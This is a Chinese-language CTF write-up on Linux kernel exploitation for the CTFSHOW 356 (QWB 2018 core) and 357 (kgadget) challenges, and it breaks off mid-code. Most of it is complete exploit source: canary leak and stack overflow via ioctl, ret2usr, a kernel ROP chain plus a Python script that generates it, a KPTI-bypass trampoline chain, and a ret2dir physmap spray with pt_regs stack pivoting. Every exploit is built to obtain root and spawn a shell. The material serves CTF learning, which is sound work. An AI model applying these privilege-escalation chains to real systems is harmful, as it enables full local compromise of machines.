主要是跟着ctfwiki学。
栈溢出
Kernel Pwn | CTFSHOW 356(强网杯 2018 – core)
基础知识
CTFSHOW 356 这个题其实就是强网杯 2018 – core,稍微改了点变量名。
在拿到题目后解压,得到三个文件:bzImage、rootfs.cpio、run.sh:

run.sh是启动脚本,bzImage是压缩后可以直接用的内核镜像,rootfs.cpio是文件系统。
首先关注run.sh,这是qemu启动脚本,里面会提到开启了哪些保护,比如kaslr就是开了kaslr,nokaslr就是没开。panic=1代表崩溃后1s会重启,建议改大点或者直接改成0取消重启,不然崩溃错误会一闪而过看不清楚:

然后使用cpio命令解压rootfs.cpio:
mkdir rootfs_root
cd rootfs_root
cpio -idm < ../rootfs.cpio
解压后进入文件系统,首先关注init文件,里面能明显地看出加载的驱动模块,这个一般就是漏洞点:

其次是vmlinux文件,这个是原始内核镜像,bzImage是压缩处理后的vmlinux,后面找gadget和找函数偏移都是从vmlinux里面找的。vmlinux和bzImage的关系详情可参考:
https://blog.csdn.net/hanxuefan/article/details/7454352
如果没有vmlinux文件的话,需要借助工具来把bzImage转成vmlinux以便提取gadget:
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux
./extract-vmlinux bzImage > vmlinux
ROPgadget --binary ./vmlinux > ./ropgadgets
漏洞分析
该模块通过/proc/show交互:

ioctl交互主模块,功能1是调用show_read,功能2是任意赋值给off变量,功能3是调用show_copy_func:

show_read函数如下所示,漏洞点在copy_to_user(a1, &v5[off], 64LL);,通过功能2改变off的值之后就可以把任意地址处的值copy到用户态的a1,即ioctl的第三个变量,这个用来泄露内核的canary:

show_copy_func函数如下,存在整数溢出,a1取负数即可绕过判断,后续通过qmemcpy把ioctl第三个参数写到栈上v2,造成栈溢出。

所以思路就是先泄露canary,然后打ROP,kernel的ROP链一般是commit_creds(prepare_kernel_cred),最后转到用户态去执行execve(sh)即可。
其实在比较远古版本中由于没有SMEP和SMAP,可以不用在内核态去凑gadget打ROP,直接跳到用户态的代码去执行,即ret2usr,这种方法会更简单一些。
调试
一般是把exp先编译出来(需要静态,因为主机和靶机的库版本可能不一样),然后放到rootfs中,最后通过下述命令打包再run.sh启动,就可以在qemu虚拟机里面跑exp了:
find . -print0 | cpio --null -ov --format=newc > ../rootfs.cpio
调试首先需要使用root权限来跑gdb,不然会NX权限报错。
sudo pwndbg ./vmlinux
然后连接:
target remote localhost:1234
开启kaslr的情况下,需要在qemu里面使用cat /sys/module/show/sections/.text找基址,然后在gdb里面通过add-symbol-file ./show.ko 0xffffffffc0296000,才能成功给目标函数打上断点,可以在run.sh里面把kaslr改成nokaslr,方便调试
漏洞利用
无保护
方法一 ret2usr
由于题目通过cat /proc/kallsyms > /tmp/kallsyms把函数地址都复制到了/tmp/kallsyms,所以可以直接读取函数地址,减去在vmlinux的地址就能得到kaslr的偏移,给gadget加上这个偏移就是gadget的真实地址(当然,ret2usr不需要gadget)。
所以泄露canary,读取函数地址,然后劫持内核栈返回地址到用户态执行布置好的提权函数即可。
参考ctfwiki
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
// ==========================================
// Helper Macros
// ==========================================
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
// ==========================================
// Global Variables
// ==========================================
unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long prepare_kernel_cred_addr;
unsigned long commit_creds_addr;
// 保存用户态现场,供 iretq 返回使用
void save_status(void){
__asm__ volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts(SUCCESS_MSG("[*] Status has been saved."));
}
// 提权成功后的 Shell 函数
void get_root_shell(void){
if(getuid()) {
puts(ERROR_MSG("[x] Failed to get the root!"));
exit(EXIT_FAILURE);
}
puts(SUCCESS_MSG("[+] Successful to get the root."));
puts(INFO_MSG("[*] Execve root shell now..."));
system("/bin/sh");
exit(EXIT_SUCCESS);
}
// ==========================================
// Ret2Usr Payload (Ring 0 执行的代码)
// ==========================================
// 定义函数指针类型
typedef void* (*prepare_kernel_cred_t)(void *);
typedef int (*commit_creds_t)(void *);
void ret2usr_attack(void){
// 1. 在内核态直接调用函数提权
// 等同于 commit_creds(prepare_kernel_cred(NULL))
prepare_kernel_cred_t pkc = (prepare_kernel_cred_t) prepare_kernel_cred_addr;
commit_creds_t cc = (commit_creds_t) commit_creds_addr;
cc(pkc(NULL));
// 2. 恢复用户态上下文 (Swapgs + Iretq)
// 注意:这里没有 sub rax, 8,因为直接恢复原始 sp 通常更稳定
__asm__ volatile(
"swapgs;"
"mov rax, user_ss;"
"push rax;"
"mov rax, user_sp;"
"push rax;"
"mov rax, user_rflags;"
"push rax;"
"mov rax, user_cs;"
"push rax;"
"lea rax, get_root_shell;"
"push rax;"
"iretq;"
);
}
// ==========================================
// Main Exploitation
// ==========================================
int main(int argc, char ** argv){
int fd;
char buf[0x1000];
unsigned long canary;
unsigned long rop_chain[0x100]; // 缓冲区
save_status();
// 1. 打开设备 (修正为 /proc/show)
fd = open("/proc/show", O_RDWR);
if(fd < 0) {
// 兼容性尝试
fd = open("/proc/core", O_RDWR);
if(fd < 0) {
puts(ERROR_MSG("[x] Failed to open /proc/show !"));
exit(EXIT_FAILURE);
}
}
// 2. 获取内核函数地址 (从 kallsyms)
FILE *ksyms = fopen("/tmp/kallsyms", "r");
if(!ksyms) {
puts(ERROR_MSG("[-] Failed to open /tmp/kallsyms"));
return -1;
}
char sym_name[256];
unsigned long sym_addr;
char type; // kallsyms 格式: addr type name
while(fscanf(ksyms, "%lx %c %s", &sym_addr, &type, sym_name) != EOF) {
if(!strcmp(sym_name, "prepare_kernel_cred")) {
prepare_kernel_cred_addr = sym_addr;
printf(INFO_MSG("[+] prepare_kernel_cred: %lx\n"), prepare_kernel_cred_addr);
}
else if(!strcmp(sym_name, "commit_creds")) {
commit_creds_addr = sym_addr;
printf(INFO_MSG("[+] commit_creds: %lx\n"), commit_creds_addr);
}
}
fclose(ksyms);
if(!prepare_kernel_cred_addr || !commit_creds_addr) {
puts(ERROR_MSG("[-] Symbol not found!"));
return -1;
}
// 3. 泄露 Canary
puts(INFO_MSG("[*] Reading canary..."));
// set offset 64
ioctl(fd, 0x6677889C, 64);
// read
ioctl(fd, 0x6677889B, buf);
canary = ((unsigned long*) buf)[0];
printf(SUCCESS_MSG("[+] Got Canary: %lx\n"), canary);
// 4. 构造 Payload
// 初始化缓冲区,防止垃圾数据干扰
memset(rop_chain, 0, sizeof(rop_chain));
// [0-7] Padding (64 bytes)
for(int i=0; i<8; i++) rop_chain[i] = canary; // 用canary填充padding也行
// [8] Canary (Offset 64)
rop_chain[8] = canary;
// [9] Saved RBP (Offset 72)
rop_chain[9] = 0xdeadbeef; // 填充一个非零值,防止 pop rbp 出错
// [10] RIP (Offset 80) -> 跳转到用户态函数
rop_chain[10] = (unsigned long) ret2usr_attack;
// 5. 触发漏洞
puts(INFO_MSG("[*] Triggering Ret2Usr..."));
write(fd, rop_chain, 0x800);
// 整数溢出
ioctl(fd, 0x6677889A, 0xffffffffffff0100);
return 0;
}

方法二 kernel rop
跟ret2usr的区别就是得在内核里面用gadget凑rop链,也比较简单,直接给出自动化找gadget生成exp的脚本。
#!/usr/bin/env python3
import os
import sys
import re
import subprocess
# ================= 配置 =================
BINARY = "./vmlinux"
GADGET_FILE = "./ropgadgets"
EXP_FILE = "exp.c"
STATIC_BASE = 0xffffffff81000000 # 内核静态基址
# ================= 1. 自动运行 ROPgadget =================
def generate_gadgets():
if not os.path.exists(BINARY):
# 如果没有 vmlinux,检查是否已经有 ropgadgets 文件
if os.path.exists(GADGET_FILE):
return
print(f"[-] 错误: 找不到内核文件 {BINARY} 且没有现成的 {GADGET_FILE}")
sys.exit(1)
if os.path.exists(GADGET_FILE):
print(f"[*] 检测到 {GADGET_FILE} 已存在,跳过生成步骤 (使用现有文件)。")
print(" (如果需要重新分析,请先删除该文件)")
return
print(f"[*] 正在执行 ROPgadget 分析 {BINARY} ...")
print(" 这可能需要几分钟,请耐心等待...")
try:
with open(GADGET_FILE, "w") as outfile:
subprocess.run(
["ROPgadget", "--binary", BINARY],
stdout=outfile,
check=True
)
print(f"[+] 分析完成!结果已保存到 {GADGET_FILE}")
except FileNotFoundError:
print("[-] 错误: 未找到 'ROPgadget' 命令。请先安装: pip install ropgadget")
sys.exit(1)
except subprocess.CalledProcessError as e:
print(f"[-] ROPgadget 执行失败: {e}")
sys.exit(1)
# ================= 2. 搜索 Gadget =================
def get_offset(content, pattern, name):
# 移除颜色代码
clean_content = re.sub(r'\x1b\[[0-9;]*m', '', content)
matches = []
# 遍历每一行寻找匹配
for line in clean_content.splitlines():
# 格式通常为: 0xaddress : instruction
m = re.search(r'(0x[0-9a-fA-F]+)\s*:\s*(.*)', line)
if m:
addr = int(m.group(1), 16)
inst = m.group(2)
# 使用正则匹配指令
if re.search(pattern, inst):
matches.append((addr, inst))
if not matches:
print(f"[-] 未找到 Gadget: {name}")
return None
# 策略: 找指令长度最短的
best_addr, best_inst = min(matches, key=lambda x: len(x[1]))
offset = best_addr - STATIC_BASE
print(f"[+] 找到 {name:<15}: {hex(best_addr)} (offset: {hex(offset)})")
print(f" 指令: {best_inst}")
return offset
# ================= 3. 主逻辑 =================
def main():
# 步骤 1: 生成文件
generate_gadgets()
# 步骤 2: 读取文件
print(f"[*] 正在解析 {GADGET_FILE} ...")
try:
with open(GADGET_FILE, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
except FileNotFoundError:
print(f"[-] 无法打开 {GADGET_FILE}")
return
# 步骤 3: 搜索关键 Gadgets
# 【修复点】:这里加上了 content 参数
# pop rdi ; ret
off_pop_rdi = get_offset(content, r"^pop rdi ; ret", "pop rdi")
# mov rdi, rax (稳定版: 带 pop rbp 等副作用)
off_mov = get_offset(content, r"mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret", "mov rdi, rax")
# swapgs (优先找 swapgs ; popfq ; ret)
off_swapgs = get_offset(content, r"swapgs ; popfq ; ret", "swapgs")
if not off_swapgs:
print("[!] 未找到 swapgs ; popfq,尝试 swapgs ; ret")
off_swapgs = get_offset(content, r"swapgs ; ret", "swapgs")
# iretq
off_iretq = get_offset(content, r"^iretq", "iretq")
# 检查是否全部找到
if None in [off_pop_rdi, off_mov, off_swapgs, off_iretq]:
print("[-] 错误: 缺少必要的 Gadget,无法自动生成完整 EXP。")
sys.exit(1)
# 步骤 4: 生成 exp.c
print(f"[*] 正在生成 {EXP_FILE} ...")
# C 代码模板
c_template = """#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
// ==========================================
// Auto-Generated Gadget Offsets
// ==========================================
unsigned long off_pop_rdi = %d;
unsigned long off_mov_rdi_rax = %d; // mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret
unsigned long off_swapgs = %d; // swapgs ; popfq ; ret
unsigned long off_iretq = %d;
// ==========================================
// Global Status
// ==========================================
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] User status saved.");
}
void get_shell() {
if (getuid() == 0) {
puts("[+] Rooted! Spawning shell...");
system("/bin/sh");
} else {
printf("[-] Exploit failed. uid: %%d\\n", getuid());
}
exit(0);
}
unsigned long get_addr(char *name) {
FILE *f = fopen("/tmp/kallsyms", "r");
char buf[256];
unsigned long addr = 0;
if (!f) return 0;
while (fgets(buf, 256, f)) {
if (strstr(buf, name)) {
sscanf(buf, "%%lx", &addr);
break;
}
}
fclose(f);
return addr;
}
int main() {
save_status();
int fd = open("/proc/show", O_RDWR);
if (fd < 0) fd = open("/proc/core", O_RDWR);
if (fd < 0) {
perror("[-] Open device failed");
exit(1);
}
// 1. 获取内核地址
unsigned long startup_64 = get_addr("startup_64");
unsigned long prepare_kernel_cred = get_addr("prepare_kernel_cred");
unsigned long commit_creds = get_addr("commit_creds");
unsigned long kernel_base = 0xffffffff81000000;
if (startup_64 != 0) {
kernel_base = startup_64;
printf("[+] KASLR detected. Base: 0x%%lx\\n", kernel_base);
} else {
printf("[!] No KASLR. Using static: 0x%%lx\\n", kernel_base);
}
// 2. 计算运行时 Gadget 地址
unsigned long g_pop_rdi = kernel_base + off_pop_rdi;
unsigned long g_mov_rdi_rax = kernel_base + off_mov_rdi_rax;
unsigned long g_swapgs = kernel_base + off_swapgs;
unsigned long g_iretq = kernel_base + off_iretq;
printf("[+] prepare_kernel_cred: 0x%%lx\\n", prepare_kernel_cred);
printf("[+] commit_creds: 0x%%lx\\n", commit_creds);
// 3. 泄露 Canary
ioctl(fd, 0x6677889C, 64);
char buf[64] = {0};
ioctl(fd, 0x6677889B, buf);
unsigned long canary = ((unsigned long *)buf)[0];
printf("[+] Leaked Canary: 0x%%lx\\n", canary);
// 4. 构造 Payload
unsigned long payload[256];
int i = 0;
// [0-63] Padding
for(int j=0; j<8; j++) payload[i++] = canary;
// [64-71] Canary
payload[i++] = canary;
// [72-79] Saved RBP (无需填充 0, 直接接 RBP)
payload[i++] = 0xdeadbeef;
// --- ROP Chain ---
// Step 1: prepare_kernel_cred(0)
payload[i++] = g_pop_rdi;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
// Step 2: mov rdi, rax (稳定版)
// Gadget: mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret
payload[i++] = g_mov_rdi_rax;
payload[i++] = 0; // dummy rbp
payload[i++] = 0; // dummy r12
// Step 3: commit_creds(rdi)
payload[i++] = commit_creds;
// Step 4: Return to user
// Gadget: swapgs ; popfq ; ret
payload[i++] = g_swapgs;
payload[i++] = 0; // dummy popfq
payload[i++] = g_iretq;
payload[i++] = (unsigned long)get_shell;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
// 5. 触发
printf("[!] Triggering overflow...\\n");
write(fd, payload, i * 8);
ioctl(fd, 0x6677889A, 0xffffffffffff0100);
return 0;
}
"""
# 填充变量
final_exp = c_template % (off_pop_rdi, off_mov, off_swapgs, off_iretq)
with open(EXP_FILE, "w") as f:
f.write(final_exp)
print(f"\n[SUCCESS] {EXP_FILE} 已生成!")
print(f"编译命令: gcc {EXP_FILE} -o exp -static -masm=intel")
if __name__ == "__main__":
main()


开启KPTI保护
方法一 ret2usr
显然,由于ret2usr要求在内核态执行用户态代码,开启KPTI后ret2usr就用不了了。
方法二 kernel rop
run.sh(-cpu kvm64 就会默认启动KPTI):
qemu-system-x86_64 \
-m 500M \
-cpu kvm64 \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append “root=/dev/ram rw console=ttyS0 oops=panic panic=0 quiet kaslr” \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
参考 https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass/
KPTI简单地说就是用户态的内核态页表只留下少部分,以及内核态的用户态页表直接删掉了可执行位。
commit_cred用的是内核的gadget,没问题,但是后面切到ring 3后执行的创建sh命令就是用户态代码了,由于KPTI的存在会导致段错误。解决方法也简单,就是在切到ring 3前多加一步:把页表状态也切回用户态即可。内核提供了函数swapgs_restore_regs_and_return_to_usermode来实现ring 0切 ring 3同时换回用户态页表的功能,不过我们用的时候需要跳过前面一大段pop,得把vmlinux拖ida里面手动找起始位置mov rdi, rsp:

然后在布置ROP的时候后面还要填充两个单位才能跳到用户态的getshell,原因没搞懂。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
/**
* Kernel Pwn Infrastructures
*/
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg))
#define log_info(msg) puts(INFO_MSG(msg))
#define log_error(msg) puts(ERROR_MSG(msg))
// 全局变量
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t startup_64 = 0, swapgs_restore_regs = 0;
size_t kernel_base = 0xffffffff81000000; // 默认基址
size_t user_cs, user_ss, user_rflags, user_sp;
// 保存用户态状态
void save_status(void){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
log_success("[*] Status has been saved.");
}
// 提权后的 Shell
void get_root_shell(void){
if(getuid()) {
log_error("[x] Failed to get the root!");
sleep(5);
exit(EXIT_FAILURE);
}
log_success("[+] Successful to get the root.");
log_info("[*] Execve root shell now...");
system("/bin/sh");
exit(EXIT_SUCCESS);
}
/**
* Challenge Interface
*/
void core_read(int fd, char *buf){
ioctl(fd, 0x6677889B, buf);
}
void set_off_val(int fd, size_t off){
ioctl(fd, 0x6677889C, off);
}
void core_copy(int fd, size_t nbytes){
ioctl(fd, 0x6677889A, nbytes);
}
/**
* Exploitation Gadgets (Static Offsets)
*/
// pop rdi; ret
#define OFF_POP_RDI 0xb2f
// mov rdi, rax; pop rbp; mov rax, rdi; pop r12; ret (稳定版)
#define OFF_MOV_RDI_RAX 0x3f9ede
void exploitation(void){
FILE *ksyms_file;
int fd;
char buf[0x1000], type[0x10];
size_t addr;
size_t canary;
size_t rop_chain[0x100];
size_t i;
// 运行时计算的 Gadget 地址
size_t g_pop_rdi, g_mov_rdi_rax, g_kpti_trampoline;
log_info("[*] Start to exploit...");
save_status();
// 1. 打开设备
// 优先尝试 /proc/show,失败则尝试 /proc/core
fd = open("/proc/show", O_RDWR);
if(fd < 0) fd = open("/proc/show", O_RDWR);
if(fd < 0) {
log_error("[x] Failed to open the device!");
exit(EXIT_FAILURE);
}
// 2. 获取内核符号
log_info("[*] Reading /tmp/kallsyms...");
ksyms_file = fopen("/tmp/kallsyms", "r");
if(ksyms_file == NULL) {
log_error("[x] Failed to open the sym_table file!");
exit(EXIT_FAILURE);
}
while(fscanf(ksyms_file, "%lx%s%s", &addr, type, buf) != EOF) {
if(!commit_creds && !strcmp(buf, "commit_creds")) {
commit_creds = addr;
printf(SUCCESS_MSG("[+] commit_creds: ") "%lx\n", commit_creds);
}
else if(!prepare_kernel_cred && !strcmp(buf, "prepare_kernel_cred")) {
prepare_kernel_cred = addr;
printf(SUCCESS_MSG("[+] prepare_kernel_cred: ") "%lx\n", prepare_kernel_cred);
}
else if(!startup_64 && !strcmp(buf, "startup_64")) {
startup_64 = addr;
printf(SUCCESS_MSG("[+] startup_64: ") "%lx\n", startup_64);
}
else if(!swapgs_restore_regs && !strcmp(buf, "swapgs_restore_regs_and_return_to_usermode")) {
swapgs_restore_regs = addr;
printf(SUCCESS_MSG("[+] swapgs_restore_regs: ") "%lx\n", swapgs_restore_regs);
}
}
fclose(ksyms_file);
// 3. 计算基址和 Gadget
if (startup_64) {
kernel_base = startup_64;
printf(SUCCESS_MSG("[+] Kernel Base found (KASLR): ") "%lx\n", kernel_base);
} else {
printf(INFO_MSG("[!] No KASLR detected, using static base: ") "%lx\n", kernel_base);
}
g_pop_rdi = kernel_base + OFF_POP_RDI;
g_mov_rdi_rax = kernel_base + OFF_MOV_RDI_RAX;
// 【关键改进】KPTI Trampoline 精确入口
// 0x910 (mov rdi, cr3) - 0x8DA (func start) = 0x36
// 跳过前面的 pop,直接切换 CR3,栈布局更干净
g_kpti_trampoline = swapgs_restore_regs + 22;
// 4. 泄露 Canary
log_info("[*] Reading value of kernel stack canary...");
set_off_val(fd, 64);
core_read(fd, buf);
canary = ((size_t*) buf)[0];
printf(SUCCESS_MSG("[+] Got kernel stack canary: ") "%lx\n", canary);
// 5. 构造 ROP Chain
// 初始化缓冲区
memset(rop_chain, 0, sizeof(rop_chain));
i = 0;
// [0-7] Padding
for(; i < 8; i++) rop_chain[i] = canary;
// [8] Canary
rop_chain[i++] = canary;
// [9] Saved RBP
rop_chain[i++] = 0xdeadbeef;
// [10] ROP Start
// prepare_kernel_cred(0)
rop_chain[i++] = g_pop_rdi;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
// commit_creds(rax)
// Gadget: mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret
rop_chain[i++] = g_mov_rdi_rax;
rop_chain[i++] = 0; // padding for pop rbp
rop_chain[i++] = 0; // padding for pop r12
rop_chain[i++] = commit_creds;
// KPTI Bypass & Return
// 直接跳到 mov rdi, cr3,不需要填充 pop 垃圾数据
rop_chain[i++] = g_kpti_trampoline;
rop_chain[i++] = *(size_t*) "0"; // Padding 1
rop_chain[i++] = *(size_t*) "0"; // Padding 2
// IRETQ Frame (直接接在 trampoline 后面)
rop_chain[i++] = (size_t) get_root_shell; // RIP
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
// 6. 触发溢出
log_info("[*] Start to execute ROP chain in kernel space...");
write(fd, rop_chain, i * 8); // 注意这里的长度
// 触发整数溢出
core_copy(fd, 0xffffffffffff0100);
}
int main(int argc, char ** argv){
exploitation();
return 0;
}
开启SMEP、SMAP
这种情况下对ROP无影响,对ret2usr有影响。如果KPTI关闭且SMEP、SMAP开启的情况下,可以通过使用 ROP 来关闭 SMEP&SMAP(就是给CR4寄存器的对应标志位清零,通常赋值0x6f0),具体exp可以参考:
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/bypass-smep/
执行可控指针
CTFSHOW 357 (MINI-LCTF2022 – kgadget)
这题比较简单粗暴,直接给了个执行可控指针的原语:

情形1 无保护
先假设保护什么都没开的情况下,那显然是可以直接打ret2usr,直接在用户态布置commit_cred,跳回去执行就行:
run.sh:
qemu-system-x86_64 \
-m 256M \
-cpu kvm64 \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=off quiet oops=panic panic=1" \
-no-reboot \
-s
exp:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdint.h>
// 你刚刚查到的内核函数地址
#define PREPARE_KERNEL_CRED 0xffffffff810c9540LL
#define COMMIT_CREDS 0xffffffff810c92e0LL
typedef void* (*prepare_kernel_cred_t)(void*);
typedef int (*commit_creds_t)(void*);
prepare_kernel_cred_t prepare_kernel_cred = (prepare_kernel_cred_t)PREPARE_KERNEL_CRED;
commit_creds_t commit_creds = (commit_creds_t)COMMIT_CREDS;
// 提权 Payload
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
int main() {
// 1. 打开驱动设备
int fd = open("/dev/ctfshow", O_RDWR);
if (fd < 0) {
perror("[-] 无法打开设备 /dev/ctfshow");
return -1;
}
// 2. 构造指向 Payload 地址的指针
// 确保这里写的是 uint64_t
uint64_t payload_addr = (uint64_t)get_root;
uint64_t *v3_fake_ptr = &payload_addr;
printf("[*] Payload (get_root) 位于用户态地址: %p\n", (void*)payload_addr);
// 3. 触发漏洞 (cmd = 114514)
// v3_fake_ptr 存入 RDX -> 内核 v3 得到该指针 -> v4 = *v3 即 get_root
printf("[*] 正在触发 ioctl 漏洞...\n");
ioctl(fd, 114514, v3_fake_ptr);
// 4. 验证是否成功
if (getuid() == 0) {
printf("[+] 提权成功! 当前 UID: %d\n", getuid());
system("/bin/sh");
} else {
printf("[-] 提权失败,UID 仍为: %d\n", getuid());
}
close(fd);
return 0;
}

情形2 开启KPTI、SMEP、SMAP
ret2usr
run.sh:
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smap,+smep \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=off quiet oops=panic panic=10" \
-no-reboot \
-s
ret2usr失效:

这时候就要引入一种新的方法了。
ret2dir
简单来说就是,内核态不能访问和执行用户态代码看上去对这种只能控制程序执行流的原语来说几乎无解,那有没有什么地方是漏网之鱼?有的,在内核地址空间里面有一段称为physmap的区域,该区域中映射了RAM,而RAM中会映射部分用户态的地址空间。如果用户态布置的payload能在physmap区域找到,那就可以跳过去执行了。问题又来了:应该如何找到这段payload所在位置?可以在用户态空间使用类似堆喷的技术广撒网,之后再随机挑选一个相对靠近高地址的 direct mapping area 上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上。
由于开启KPTI,所以payload肯定也得是ROP链,于是又出现一个问题,这个洞控制的是RIP指针,RIP指针跳到payload了,RSP并没有,可以用一些特殊gadget来解决这个问题,这里就直接给出一种通用ROP的方法,即pt_regs利用。
可以参考:
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs/#uaf-seq_operations-pt_regs-rop
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2dir/
简单来说,就是进行系统调用syscall时候,众多寄存器都会被压入内核栈上,形成pt_regs 结构体,提前在寄存器里面赋值,再通过syscall就可以实现构造栈的效果,最后把rip指向诸如add rsp, n ; ret 这种指令就能激活构造的栈实现ROP。
由于本题中把寄存器大部分都清空,只留下r8、r9可以用,所以还得再间接一次,通过pop rsp; ret把payload地址传给rsp来实现栈迁移。具体过程如下:
1. 通过physmap spray来mmap批量下述payload:

2. 执行下述代码,syscall把pt_regs压入栈,同时rip指向到try_hit,命中payload:
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;" // stack migration again
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);
rsp和rip如下:

3. rip执行add rsp, 0xN后rsp指向r9:pop_rsp_ret:

4.rip执行ret,rsp把pop_rsp_ret指令地址pop给rip:

5. rip执行pop_rsp_ret的pop rsp,rsp被劫持到try_hit,实现栈迁移:

6. rip执行pop_rsp_ret剩下的ret,再次收到rsp pop来的add rsp, 0xN ; ret,正式启动ROP:

exp改自https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/ret2dir
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t pop_rax_ret = 0xffffffff810115d4;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
size_t add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
void (*kgadget_ptr)(void);
size_t *physmap_spray_arr[16000];
size_t page_size;
size_t try_hit;
int dev_fd;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void constructROPChain(size_t *rop)
{
int idx = 0;
// gadget to trigger pt_regs and for slide
for (; idx < (page_size / 8 - 0x30); idx++)
rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
// more normal slide code
for (; idx < (page_size / 8 - 0x10); idx++)
rop[idx] = ret;
// rop chain
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop[idx++] = *(size_t*) "0";
rop[idx++] = *(size_t*) "0";
rop[idx++] = (size_t) getRootShell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}
int main(int argc, char **argv, char **envp)
{
saveStatus();
dev_fd = open("/dev/ctfshow", O_RDWR);
if (dev_fd < 0)
errExit("dev fd!");
page_size = sysconf(_SC_PAGESIZE);
// construct per-page rop chain
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
constructROPChain(physmap_spray_arr[0]);
// spray physmap, so that we can easily hit one of them
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++)
{
